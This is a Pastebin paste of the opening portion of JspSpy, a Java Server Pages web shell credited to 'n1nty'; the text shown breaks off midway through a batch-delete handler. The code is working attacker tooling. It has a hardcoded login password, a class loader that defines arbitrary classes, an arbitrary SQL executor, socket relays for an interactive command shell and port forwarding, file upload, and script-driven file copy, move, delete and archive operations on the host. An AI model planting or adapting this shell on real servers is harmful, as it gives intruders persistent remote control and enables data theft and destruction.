Advertisement
Guest User

Untitled

a guest
Nov 18th, 2016
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 121.34 KB | None | 0 0
  1. <%@page pageEncoding="utf-8"%>
  2. <%@page import="java.io.*"%>
  3. <%@page import="java.util.*"%>
  4. <%@page import="java.util.regex.*"%>
  5. <%@page import="java.sql.*"%>
  6. <%@page import="java.lang.reflect.*"%>
  7. <%@page import="java.nio.charset.*"%>
  8. <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
  9. <%@page import="java.text.*"%>
  10. <%@page import="java.net.*"%>
  11. <%@page import="java.util.zip.*"%>
  12. <%@page import="java.util.jar.*"%>
  13. <%@page import="java.awt.*"%>
  14. <%@page import="java.awt.image.*"%>
  15. <%@page import="javax.imageio.*"%>
  16. <%@page import="java.awt.datatransfer.DataFlavor"%>
  17. <%@page import="java.util.prefs.Preferences"%>
  18. <%!
  19. /**
  20. * by n1nty
  21. * CY . I Love You.
  22. */
  23. private static final String PW = "asd"; //password
  24. private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
  25. private static final String REQUEST_CHARSET = "ISO-8859-1";
  26. private static final String PAGE_CHARSET = "gbk";
  27. private static final String CURRENT_DIR = "currentdir";
  28. private static final String MSG = "SHOWMSG";
  29. private static final String PORT_MAP = "PMSA";
  30. private static final String DBO = "DBO";
  31. private static final String SHELL_ONLINE = "SHELL_ONLINE";
  32. private static final String ENTER = "ENTER_FILE";
  33. private static final String ENTER_MSG = "ENTER_FILE_MSG";
  34. private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
  35. private static final String SESSION_O = "SESSION_O";
  36. private static String SHELL_NAME = "";
  37. private static String WEB_ROOT = null;
  38. private static String SHELL_DIR = null;
  39. public static Map ins = new HashMap();
  40. private static boolean ISLINUX = false;
  41.  
  42. private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
  43. private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
  44.  
  45. private static class MyRequest extends HttpServletRequestWrapper {
  46. public MyRequest(HttpServletRequest req) {
  47. super(req);
  48. }
  49. public String getParameter(String name) {
  50. try {
  51. String value = super.getParameter(name);
  52. if (name == null)
  53. return null;
  54. return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
  55. } catch (Exception e) {
  56. return null;
  57. }
  58. }
  59. }
  60. private static class SpyClassLoader extends ClassLoader{
  61. public SpyClassLoader() {
  62. }
  63. public Class defineClass(String name,byte[] b) {
  64. return super.defineClass(name,b,0,b.length - 2);
  65. }
  66. }
  67. private static class DBOperator{
  68. private Connection conn = null;
  69. private Statement stmt = null;
  70. private String driver;
  71. private String url;
  72. private String uid;
  73. private String pwd;
  74. public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
  75. this(driver,url,uid,pwd,false);
  76. }
  77. public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
  78. Class.forName(driver);
  79. if (connect)
  80. this.conn = DriverManager.getConnection(url,uid,pwd);
  81. this.url = url;
  82. this.driver = driver;
  83. this.uid = uid;
  84. this.pwd = pwd;
  85. }
  86. public void connect() throws Exception{
  87. this.conn = DriverManager.getConnection(url,uid,pwd);
  88. }
  89. public Object execute(String sql) throws Exception {
  90. if (isValid()) {
  91. stmt = conn.createStatement();
  92. if (stmt.execute(sql)) {
  93. return stmt.getResultSet();
  94. } else {
  95. return ""+stmt.getUpdateCount();
  96. }
  97. }
  98. throw new Exception("Connection is inValid.");
  99. }
  100. public void closeStmt() throws Exception{
  101. if (this.stmt != null)
  102. stmt.close();
  103. }
  104. public boolean isValid() throws Exception {
  105. return conn != null && !conn.isClosed();
  106. }
  107. public void close() throws Exception {
  108. if (isValid()) {
  109. closeStmt();
  110. conn.close();
  111. }
  112. }
  113. public boolean equals(Object o) {
  114. if (o instanceof DBOperator) {
  115. DBOperator dbo = (DBOperator)o;
  116. return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
  117. }
  118. return false;
  119. }
  120. public Connection getConn(){
  121. return this.conn;
  122. }
  123. }
  124. private static class StreamConnector extends Thread {
  125. private InputStream is;
  126. private OutputStream os;
  127. public StreamConnector( InputStream is, OutputStream os ){
  128. this.is = is;
  129. this.os = os;
  130. }
  131. public void run(){
  132. BufferedReader in = null;
  133. BufferedWriter out = null;
  134. try{
  135. in = new BufferedReader( new InputStreamReader(this.is));
  136. out = new BufferedWriter( new OutputStreamWriter(this.os));
  137. char buffer[] = new char[8192];
  138. int length;
  139. while((length = in.read( buffer, 0, buffer.length ))>0){
  140. out.write( buffer, 0, length );
  141. out.flush();
  142. }
  143. } catch(Exception e){}
  144. try{
  145. if(in != null)
  146. in.close();
  147. if(out != null)
  148. out.close();
  149. } catch( Exception e ){}
  150. }
  151. public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
  152. new Thread(new Runnable(){
  153. public void run(){
  154. while (true) {
  155. try{
  156. byte[] data = new byte[100];
  157. int len = localIn.read(data);
  158. while (len != -1) {
  159. remoteOut.write(data,0,len);
  160. len = localIn.read(data);
  161. }
  162. }catch (Exception e) {
  163. break;
  164. }
  165. }
  166. }
  167. }).start();
  168. }
  169. public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
  170. new Thread(new Runnable(){
  171. public void run(){
  172. while(true) {
  173. try{
  174. byte[] data = new byte[100];
  175. int len = remoteIn.read(data);
  176. while (len != -1) {
  177. localOut.write(data,0,len);
  178. len = remoteIn.read(data);
  179. }
  180. }catch (Exception e) {
  181. try{
  182. soc.close();
  183. remoteSoc.close();
  184. }catch(Exception ex) {
  185. }
  186. break;
  187. }
  188. }
  189. }
  190. }).start();
  191. }
  192. }
  193. private static class EnterFile extends File{
  194. private ZipFile zf = null;
  195. private ZipEntry entry = null;
  196. private boolean isDirectory = false;
  197. private String absolutePath = null;
  198. public void setEntry(ZipEntry e) {
  199. this.entry = e;
  200. }
  201. public void setAbsolutePath(String p) {
  202. this.absolutePath = p;
  203. }
  204. public void close() throws Exception{
  205. this.zf.close();
  206. }
  207. public void setZf(String p) throws Exception{
  208. if (p.toLowerCase().endsWith(".jar"))
  209. this.zf = new JarFile(p);
  210. else
  211. this.zf = new ZipFile(p);
  212. }
  213. public EnterFile(File parent, String child) {
  214. super(parent,child);
  215. }
  216. public EnterFile(String pathname) {
  217. super(pathname);
  218. }
  219. public EnterFile(String pathname,boolean isDir) {
  220. this(pathname);
  221. this.isDirectory = isDir;
  222. }
  223. public EnterFile(String parent, String child) {
  224. super(parent,child);
  225. }
  226. public EnterFile(URI uri) {
  227. super(uri);
  228. }
  229. public boolean exists(){
  230. return new File(this.zf.getName()).exists();
  231. }
  232. public File[] listFiles() {
  233. java.util.List list = new ArrayList();
  234. java.util.List handled = new ArrayList();
  235. String currentDir = super.getPath();
  236. currentDir = currentDir.replace('\\','/');
  237. if (currentDir.indexOf("/") == 0)
  238. {
  239. if (currentDir.length() > 1)
  240. currentDir = currentDir.substring(1);
  241. else
  242. currentDir = "";
  243. }
  244. Enumeration e = this.zf.entries();
  245. while (e.hasMoreElements())
  246. {
  247. ZipEntry entry = (ZipEntry)e.nextElement();
  248. String eName = entry.getName();
  249. if (this.zf instanceof JarFile) {
  250. if (!entry.isDirectory()){
  251. EnterFile ef = new EnterFile(eName);
  252. ef.setEntry(entry);
  253. try{
  254. ef.setZf(this.zf.getName());
  255. }catch(Exception ex) {
  256. }
  257. list.add(ef);
  258. }
  259. } else {
  260. if (currentDir.equals("")) {
  261. //zip root directory
  262. if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
  263. {
  264. EnterFile ef = new EnterFile(eName.replaceAll("/",""));
  265. handled.add(eName.replaceAll("/",""));
  266. ef.setEntry(entry);
  267. list.add(ef);
  268. } else {
  269. if (eName.indexOf("/") != -1) {
  270. String tmp = eName.substring(0,eName.indexOf("/"));
  271. if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
  272. EnterFile ef = new EnterFile(tmp,true);
  273. ef.setEntry(entry);
  274. list.add(ef);
  275. handled.add(tmp);
  276. }
  277. }
  278. }
  279. } else {
  280. if (eName.startsWith(currentDir)) {
  281. if (eName.matches(currentDir+"/[^/]+/?$")) {
  282. //file.
  283. EnterFile ef = new EnterFile(eName);
  284. ef.setEntry(entry);
  285. list.add(ef);
  286. if (eName.endsWith("/")) {
  287. String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
  288. tmp = tmp.substring(1,tmp.length()-1);
  289. handled.add(tmp);
  290. }
  291. } else {
  292. //dir
  293. try {
  294. String tmp = eName.substring(currentDir.length()+1);
  295. tmp = tmp.substring(0,tmp.indexOf('/'));
  296. if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
  297. EnterFile ef = new EnterFile(tmp,true);
  298. ef.setAbsolutePath(currentDir+"/"+tmp);
  299. ef.setEntry(entry);
  300. list.add(ef);
  301. handled.add(tmp);
  302. }
  303. } catch (Exception ex) {
  304. }
  305. }
  306. }
  307. }
  308. }
  309. }
  310. return (File[])list.toArray(new File[0]);
  311. }
  312. public boolean isDirectory(){
  313. return this.entry.isDirectory() || this.isDirectory;
  314. }
  315. public String getParent(){
  316. return "";
  317. }
  318. public String getAbsolutePath(){
  319. return absolutePath != null ? absolutePath : super.getPath();
  320. }
  321. public String getName(){
  322. if (this.zf instanceof JarFile) {
  323. return this.getAbsolutePath();
  324. } else {
  325. return super.getName();
  326. }
  327. }
  328. public long lastModified(){
  329. return entry.getTime();
  330. }
  331. public boolean canRead(){
  332. return false;
  333. }
  334. public boolean canWrite(){
  335. return false;
  336. }
  337. public boolean canExecute(){
  338. return false;
  339. }
  340. public long length(){
  341. return entry.getSize();
  342. }
  343. }
  344. private static class OnLineProcess {
  345. private String cmd = "first";
  346. private Process pro;
  347. public OnLineProcess(Process p){
  348. this.pro = p;
  349. }
  350. public void setPro(Process p) {
  351. this.pro = p;
  352. }
  353. public void setCmd(String c){
  354. this.cmd = c;
  355. }
  356. public String getCmd(){
  357. return this.cmd;
  358. }
  359. public Process getPro(){
  360. return this.pro;
  361. }
  362. public void stop(){
  363. this.pro.destroy();
  364. }
  365. }
  366. private static class OnLineConnector extends Thread {
  367. private OnLineProcess ol = null;
  368. private InputStream is;
  369. private OutputStream os;
  370. private String name;
  371. public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
  372. this.is = is;
  373. this.os = os;
  374. this.name = name;
  375. this.ol = ol;
  376. }
  377. public void run(){
  378. BufferedReader in = null;
  379. BufferedWriter out = null;
  380. try{
  381. in = new BufferedReader( new InputStreamReader(this.is));
  382. out = new BufferedWriter( new OutputStreamWriter(this.os));
  383. char buffer[] = new char[128];
  384. if(this.name.equals("exeRclientO")) {
  385. //from exe to client
  386. int length = 0;
  387. while((length = in.read( buffer, 0, buffer.length ))>0){
  388. String str = new String(buffer, 0, length);
  389. str = str.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
  390. str = str.replaceAll(""+(char)13+(char)10,"<br/>");
  391. str = str.replaceAll("\n","<br/>");
  392. out.write(str.toCharArray(), 0, str.length());
  393. out.flush();
  394. }
  395. } else {
  396. //from client to exe
  397. while(true) {
  398. while(this.ol.getCmd() == null) {
  399. Thread.sleep(500);
  400. }
  401. if (this.ol.getCmd().equals("first")) {
  402. this.ol.setCmd(null);
  403. continue;
  404. }
  405. this.ol.setCmd(this.ol.getCmd() + (char)10);
  406. char[] arr = this.ol.getCmd().toCharArray();
  407. out.write(arr,0,arr.length);
  408. out.flush();
  409. this.ol.setCmd(null);
  410. }
  411. }
  412. } catch(Exception e){
  413. }
  414. try{
  415. if(in != null)
  416. in.close();
  417. if(out != null)
  418. out.close();
  419. } catch( Exception e ){
  420. }
  421. }
  422. }
  423. private static class Table{
  424. private ArrayList rows = null;
  425. private boolean echoTableTag = false;
  426. public void setEchoTableTag(boolean v) {
  427. this.echoTableTag = v;
  428. }
  429. public Table(){
  430. this.rows = new ArrayList();
  431. }
  432. public void addRow(Row r) {
  433. this.rows.add(r);
  434. }
  435. public String toString(){
  436. StringBuffer html = new StringBuffer();
  437. if (echoTableTag)
  438. html.append("<table>");
  439. for (int i = 0;i<rows.size();i++) {
  440. Row r=(Row)rows.get(i);
  441. html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  442. ArrayList columns = r.getColumns();
  443. for (int a = 0;a<columns.size();a++) {
  444. Column c = (Column)columns.get(a);
  445. html.append("<td nowrap>");
  446. String vv = Util.htmlEncode(Util.getStr(c.getValue()));
  447. if (vv.equals(""))
  448. vv = "&nbsp;";
  449. html.append(vv);
  450. html.append("</td>");
  451. }
  452. html.append("</tr>");
  453. }
  454. if (echoTableTag)
  455. html.append("</table>");
  456. return html.toString();
  457. }
  458. public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
  459. StringBuffer table = new StringBuffer();
  460. ResultSetMetaData meta = rs.getMetaData();
  461. int count = meta.getColumnCount();
  462. if (!op)
  463. table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
  464. else
  465. table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
  466. table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
  467. table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  468. for (int i = 1;i<=count;i++) {
  469. table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
  470. }
  471. if (op)
  472. table.append("<td>&nbsp;</td>");
  473. table.append("</tr>");
  474. while (rs.next()) {
  475. String tbName = null;
  476. table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  477. for (int i = 1;i<=count;i++) {
  478. String v = rs.getString(i);
  479. if (i == 3)
  480. tbName = v;
  481. table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
  482. }
  483. if (op)
  484. table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
  485. table.append("</tr>");
  486. }
  487. table.append("</table><br/>");
  488. return table.toString();
  489. }
  490. }
  491. private static class Row{
  492. private ArrayList cols = null;
  493. public Row(){
  494. this.cols = new ArrayList();
  495. }
  496. public void addColumn(Column n) {
  497. this.cols.add(n);
  498. }
  499. public ArrayList getColumns(){
  500. return this.cols;
  501. }
  502. }
  503. private static class Column{
  504. private String value;
  505. public Column(String v){
  506. this.value = v;
  507. }
  508. public String getValue(){
  509. return this.value;
  510. }
  511. }
  512. private static class Util{
  513. public static boolean isEmpty(String s) {
  514. return s == null || s.trim().equals("");
  515. }
  516. public static boolean isEmpty(Object o) {
  517. return o == null || isEmpty(o.toString());
  518. }
  519. public static String getSize(long size,char danwei) {
  520. if (danwei == 'M') {
  521. double v = formatNumber(size / 1024.0 / 1024.0,2);
  522. if (v > 1024) {
  523. return getSize(size,'G');
  524. }else {
  525. return v + "M";
  526. }
  527. } else if (danwei == 'G') {
  528. return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
  529. } else if (danwei == 'K') {
  530. double v = formatNumber(size / 1024.0,2);
  531. if (v > 1024) {
  532. return getSize(size,'M');
  533. } else {
  534. return v + "K";
  535. }
  536. } else if (danwei == 'B') {
  537. if (size > 1024) {
  538. return getSize(size,'K');
  539. }else {
  540. return size + "B";
  541. }
  542. }
  543. return ""+0+danwei;
  544. }
  545. public static boolean exists(String[] arr,String v) {
  546. for (int i =0;i<arr.length;i++) {
  547. if (v.equals(arr[i])) {
  548. return true;
  549. }
  550. }
  551. return false;
  552. }
  553. public static double formatNumber(double value,int l) {
  554. NumberFormat format = NumberFormat.getInstance();
  555. format.setMaximumFractionDigits(l);
  556. format.setGroupingUsed(false);
  557. return new Double(format.format(value)).doubleValue();
  558. }
  559. public static boolean isInteger(String v) {
  560. if (isEmpty(v))
  561. return false;
  562. return v.matches("^\\d+$");
  563. }
  564. public static String formatDate(long time) {
  565. SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
  566. return format.format(new java.util.Date(time));
  567. }
  568. public static String convertPath(String path) {
  569. return path != null ? path.replace('\\','/') : "";
  570. }
  571. public static String htmlEncode(String v) {
  572. if (isEmpty(v))
  573. return "";
  574. return v.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
  575. }
  576. public static String getStr(String s) {
  577. return s == null ? "" :s;
  578. }
  579. public static String null2Nbsp(String s) {
  580. if (s == null)
  581. s = "&nbsp;";
  582. return s;
  583. }
  584. public static String getStr(Object s) {
  585. return s == null ? "" :s.toString();
  586. }
  587. public static String exec(String regex, String str, int group) {
  588. Pattern pat = Pattern.compile(regex);
  589. Matcher m = pat.matcher(str);
  590. if (m.find())
  591. return m.group(group);
  592. return null;
  593. }
  594. public static void outMsg(Writer out,String msg) throws Exception {
  595. outMsg(out,msg,"center");
  596. }
  597. public static void outMsg(Writer out,String msg,String align) throws Exception {
  598. out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
  599. }
  600. public static String highLight(String str) {
  601. str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
  602. str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
  603. return str;
  604. }
  605. }
  606. private static class UploadBean {
  607. private String fileName = null;
  608. private String suffix = null;
  609. private String savePath = "";
  610. private ServletInputStream sis = null;
  611. private OutputStream targetOutput = null;
  612. private byte[] b = new byte[1024];
  613. public void setTargetOutput(OutputStream stream) {
  614. this.targetOutput = stream;
  615. }
  616. public UploadBean() {
  617. }
  618. public void setSavePath(String path) {
  619. this.savePath = path;
  620. }
  621. public String getFileName(){
  622. return this.fileName;
  623. }
  624. public void parseRequest(HttpServletRequest request) throws IOException {
  625. sis = request.getInputStream();
  626. int a = 0;
  627. int k = 0;
  628. String s = "";
  629. while ((a = sis.readLine(b,0,b.length))!= -1) {
  630. s = new String(b, 0, a,PAGE_CHARSET);
  631. if ((k = s.indexOf("filename=\""))!= -1) {
  632. s = s.substring(k + 10);
  633. k = s.indexOf("\"");
  634. s = s.substring(0, k);
  635. File tF = new File(s);
  636. if (tF.isAbsolute()) {
  637. fileName = tF.getName();
  638. } else {
  639. fileName = s;
  640. }
  641. k = s.lastIndexOf(".");
  642. suffix = s.substring(k + 1);
  643. upload();
  644. }
  645. }
  646. }
  647. private void upload() throws IOException{
  648. try {
  649. OutputStream out = null;
  650. if (this.targetOutput != null)
  651. out = this.targetOutput;
  652. else
  653. out = new FileOutputStream(new File(savePath,fileName));
  654. int a = 0;
  655. int k = 0;
  656. String s = "";
  657. while ((a = sis.readLine(b,0,b.length))!=-1) {
  658. s = new String(b, 0, a);
  659. if ((k = s.indexOf("Content-Type:"))!=-1) {
  660. break;
  661. }
  662. }
  663. sis.readLine(b,0,b.length);
  664. while ((a = sis.readLine(b,0,b.length)) != -1) {
  665. s = new String(b, 0, a);
  666. if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
  667. break;
  668. }
  669. out.write(b, 0, a);
  670. }
  671. if (out instanceof FileOutputStream)
  672. out.close();
  673. } catch (IOException ioe) {
  674. throw ioe;
  675. }
  676. }
  677. }
  678. %>
  679. <%
  680. SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
  681. String myAbsolutePath = application.getRealPath(request.getServletPath());
  682. if (Util.isEmpty(myAbsolutePath)) {//for weblogic
  683. SHELL_NAME = request.getServletPath();
  684. myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
  685. SHELL_NAME=request.getContextPath()+SHELL_NAME;
  686. WEB_ROOT = new File(application.getResource("/").getPath()).toString();
  687. } else {
  688. WEB_ROOT = application.getRealPath("/");
  689. }
  690. SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
  691. if (SHELL_DIR.indexOf('/') == 0)
  692. ISLINUX = true;
  693. else
  694. ISLINUX = false;
  695.  
  696. if (session.getAttribute(CURRENT_DIR) == null)
  697. session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
  698. //request = new MyRequest(request);
  699. HttpServletRequest myrequest = new MyRequest(request);
  700. if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)
  701. ) {
  702. String o = myrequest.getParameter("o");
  703. if (o != null && o.equals("login")) {
  704. ((Invoker)ins.get("login")).invoke(myrequest,response,session);
  705. return;
  706. } else if (o != null && o.equals("vLogin")) {
  707. ((Invoker)ins.get("vLogin")).invoke(myrequest,response,session);
  708. return;
  709. } else {
  710. ((Invoker)ins.get("vLogin")).invoke(myrequest,response,session);
  711. return;
  712. }
  713. }
  714. %>
  715. <%!
  716. private static interface Invoker {
  717. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
  718. public boolean doBefore();
  719. public boolean doAfter();
  720. }
  721. private static class DefaultInvoker implements Invoker{
  722. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
  723. }
  724. public boolean doBefore(){
  725. return true;
  726. }
  727. public boolean doAfter() {
  728. return true;
  729. }
  730. }
  731. private static class ScriptInvoker extends DefaultInvoker{
  732. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  733. try {
  734. PrintWriter out = response.getWriter();
  735. out.println("<script type=\"text/javascript\">"+
  736. " String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
  737. " function fso(obj) {"+
  738. " this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
  739. " this.filename = obj.filename;"+
  740. " this.path = obj.path;"+
  741. " this.filetype = obj.filetype;"+
  742. " this.charset = obj.charset;"+
  743. " };"+
  744. " fso.prototype = {"+
  745. " copy:function(){"+
  746. " var path = prompt('Copy To : ',this.path);"+
  747. " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
  748. " doPost({o:'copy',src:this.path,to:path});"+
  749. " },"+
  750. " move:function() {"+
  751. " var path =prompt('Move To : ',this.path);"+
  752. " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
  753. " doPost({o:'move',src:this.path,to:path})"+
  754. " },"+
  755. " vEdit:function() {"+
  756. " if (!this.charset)"+
  757. " doPost({o:'vEdit',filepath:this.path});"+
  758. " else"+
  759. " doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
  760. " },"+
  761. " down:function() {"+
  762. " doPost({o:'down',path:this.path})"+
  763. " },"+
  764. " removedir:function() {"+
  765. " if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
  766. " doPost({o:'removedir',dir:this.path});"+
  767. " },"+
  768. " mkdir:function() {"+
  769. " var name = prompt('Input New Directory Name','');"+
  770. " if (name == null || name.trim().length == 0)return;"+
  771. " doPost({o:'mkdir',name:name});"+
  772. " },"+
  773. " subdir:function(out) {"+
  774. " doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
  775. " },"+
  776. " parent:function() {"+
  777. " var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
  778. " doPost({o:'filelist',folder:parent})"+
  779. " },"+
  780. " createFile:function() {"+
  781. " var path = prompt('Input New File Name','');"+
  782. " if (path == null || path.trim().length == 0) return;"+
  783. " doPost({o:'vCreateFile',filepath:path})"+
  784. " },"+
  785. " deleteBatch:function() {"+
  786. " if (!confirm('Are You Sure To Delete These Files?')) return;"+
  787. " var selected = new Array();"+
  788. " var inputs = document.getElementsByTagName('input');"+
  789. " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
  790. " if (selected.length == 0) {alert('No File Selected');return;}"+
  791. " doPost({o:'deleteBatch',files:selected.join(',')})"+
  792. " },"+
  793. " packBatch:function() {"+
  794. " var selected = new Array();"+
  795. " var inputs = document.getElementsByTagName('input');"+
  796. " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
  797. " if (selected.length == 0) {alert('No File Selected');return;}"+
  798. " var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
  799. " if (savefilename == null || savefilename.trim().length == 0)return;"+
  800. " doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
  801. " },"+
  802. " pack:function(showconfig) {"+
  803. " if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
  804. " var tmpName = '';"+
  805. " if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
  806. " else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
  807. " tmpName += '.zip';"+
  808. " var path = this.path;"+
  809. " var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
  810. " if (name == null || path.trim().length == 0) return;"+
  811. " doPost({o:'pack',packedfile:path,savefilename:name})"+
  812. " },"+
  813. " vEditProperty:function() {"+
  814. " var path = this.path;"+
  815. " doPost({o:'vEditProperty',filepath:path})"+
  816. " },"+
  817. " unpack:function() {"+
  818. " var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
  819. " if (path == null || path.trim().length == 0) return;"+
  820. " doPost({o:'unpack',savepath:path,zipfile:this.path})"+
  821. " },"+
  822. " enter:function() {"+
  823. " doPost({o:'enter',filepath:this.path})"+
  824. " }"+
  825. " };"+
  826. " function doPost(obj) {"+
  827. " var form = document.forms[\"doForm\"];"+
  828. " var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
  829. " for (var pro in obj)"+
  830. " {"+
  831. " var input = document.createElement(\"input\");"+
  832. " input.type = \"hidden\";"+
  833. " input.name = pro;"+
  834. " input.value = obj[pro];"+
  835. " form.appendChild(input);"+
  836. " }"+
  837. " form.submit();"+
  838. " }"+
  839. "</script>");
  840.  
  841. } catch (Exception e) {
  842.  
  843. throw e ;
  844. }
  845. }
  846. }
  847. private static class BeforeInvoker extends DefaultInvoker {
  848. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  849. try {
  850. PrintWriter out = response.getWriter();
  851. out.println("<html><head><title>JspSpy Private Codz By - Ninty</title><style type=\"text/css\">"+
  852. "body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
  853. ".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
  854. ".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
  855. ".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
  856. "a {color: #00f;text-decoration:underline;}"+
  857. "a:hover{color: #f00;text-decoration:none;}"+
  858. ".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
  859. ".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
  860. ".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
  861. ".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
  862. ".head td span{font-weight:normal;}"+
  863. "form{margin:0;padding:0;}"+
  864. "h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
  865. "ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
  866. "u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
  867. ".secho{height:400px;width:100%;overflow:auto;border:none}"+
  868. "hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
  869. "</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
  870. } catch (Exception e) {
  871.  
  872. throw e ;
  873. }
  874. }
  875. }
  876. private static class AfterInvoker extends DefaultInvoker {
  877. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  878. try {
  879. PrintWriter out = response.getWriter();
  880. out.println("</body></html>");
  881. } catch (Exception e) {
  882.  
  883. throw e ;
  884. }
  885. }
  886. }
  887. private static class DeleteBatchInvoker extends DefaultInvoker {
  888. public boolean doBefore(){return false;}
  889. public boolean doAfter(){return false;}
  890. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  891. try {
  892. String files = request.getParameter("files");
  893. int success = 0;
  894. int failed = 0;
  895. if (!Util.isEmpty(files)) {
  896. String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
  897. String[] arr = files.split(",");
  898. for (int i = 0;i<arr.length;i++) {
  899. String fs = arr[i];
  900. File f = new File(currentDir,fs);
  901. if(f.delete())
  902. success += 1;
  903. else
  904. failed += 1;
  905. }
  906. }
